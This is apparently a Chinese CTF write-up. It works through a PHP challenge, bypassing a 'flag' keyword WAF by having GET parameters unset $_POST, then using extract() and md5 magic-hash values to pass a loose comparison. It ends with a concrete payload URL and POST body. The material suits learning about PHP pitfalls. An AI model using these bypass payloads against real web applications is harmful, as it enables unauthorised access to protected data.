这个一上来有点把我整蒙了。。。
这个waf
我寻思怎么都绕不过啊,/flag/i
,只要提交flag
就能被检测出来,想是想不出来了,只能弄个环境慢慢调试吧。
function waf($a){
foreach($a as $key => $value){
echo $key."____".$value; //我自己加的,看看啥情况。
if(preg_match('/flag/i',$key)){
exit('are you a hacker');
}
}
}
if($_POST) { var_dump($_POST);waf($_POST);}
if($_GET) { var_dump($_GET);waf($_GET); }
先试个flag=1
明显看到flag就是$key,绕不过正则。然后试了下1flagxxx=1
还是不行,名字不行,那试试数组。
还是不行,再把flag
放到数组的键名中去。
好了,成功绕过这个了。这里咋一看就觉得有点奇怪的,记得这个key
应该就是[]
里面的键阿,怎么会变成数组名称的。
后来仔细看了下才发现,$_POST
本来就是个数组,然后传一个数组的话,当然只会把数组的名称当作key
了,所以把flag关键字
放入键名里面就可以绕过正则了。。。
接着来看下面这一段。
foreach(array('_POST', '_GET') as $__R) {
if($$__R) {
foreach($$__R as $__k => $__v) {
if(isset($$__k) && $$__k == $__v) unset($$__k);
}
}
}
不管是$_POST
或者是$_GET
,当提交的数组名和值相等时,就进行unset()
,即销毁变量。但是我post提交数据时,总是无法让他们相等。
本地测试代码为
foreach(array('_POST', '_GET') as $__R) {
if($$__R) {
foreach($$__R as $__k => $__v) {
var_dump($$__R);
echo "^<br>";
var_dump($$_k);
echo "^<br>";
var_dump($__v);
echo "^<br>";
var_dump($$__k == $__v);
if(isset($$__k) && $$__k == $__v) unset($$__k);
}
}
}
提交参数为:_POST[flag]=s224534898e&_POST[wenhua]=QNKCDZO
,用这两组数就是因为md5弱比较,这就不多说了。
运行结果为
没有相同,所以最后比较后不用销毁,算是成功提交。
if($_POST) { var_dump($_POST);waf($_POST);}
if($_GET) { var_dump($_GET);waf($_GET); }
if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
if(isset($_POST['flag'])){
if($_POST['flag'] === $_POST['wenhua']){
exit('error');
}
if(md5($_POST['flag'] ) == md5($_POST['wenhua'])){
echo "flag";
}
}
通过extract()
函数将数组给拆成变量,键名为变量名,键值为变量值。但是关键是上一步的处理后,发现$_POST
仍然是一个数组,处理了以后就变成了_POST[flag]
,并不是$_POST[flag]
,下面的if
无法执行。。。于是知道思路应该错了。
这里反着来考虑,最后需要提交$_POST['flag']
和$_POST['wenhua']
,那行,那post
里面的参数就应该是flag=s224534898e&wenhua=QNKCDZO
,但是这样明显是无法绕过waf
的。所以这里就只能把unset
利用起来了。
再来看看这一段。
foreach(array('_POST', '_GET') as $__R) {
if($$__R) {
foreach($$__R as $__k => $__v) {
if(isset($$__k) && $$__k == $__v) unset($$__k);
}
}
}
之前没有把$_GET
用起来,再来想一想,传flag=s224534898e&wenhua=QNKCDZO
,那么结果肯定是不会被销毁的,如果不能被销毁,那么waf
就绕不过去,这里就一定得想办法让他进行销毁掉$_POST
才行。
一样的方式,倒着看,需要unset($_POST)
,那么$__k
就为_POST
,这个值怎么来呢,之前的一直没用上的$_GET
这里就可以用上了,假设通过GET
方式传的是_POST[flag]=s224534898e&_POST[wenhua]=QNKCDZO
,再来看看会是啥情况。
那么此时$$__k
为$_POST
,而$__v
为array(2) { ["flag"]=> string(11) "s224534898e" ["wenhua"]=> string(7) "QNKCDZO" }
,由于POST
方式提交的参数为flag=s224534898e&wenhua=QNKCDZO
,即$_POST
也为array(2) { ["flag"]=> string(11) "s224534898e" ["wenhua"]=> string(7) "QNKCDZO" }
,这样就把$_POST
销毁了,销毁就可以绕过waf
了。
下面是测试的图,测试代码还是之间的那个
那问题来了,销毁了,最后的if
怎么比较。。。不要忘了,还有一个extract()
函数。可以通过extract($_GET)
还原出$_POST[flag]
和$_POST[wenhua]
的。那么最终的payload
为
http://39.96.166.21:7071/index.php?_POST[flag]=s224534898e&_POST[wenhua]=QNKCDZO
post提交
flag=s224534898e&wenhua=QNKCDZO
提交后成功拿到flag
。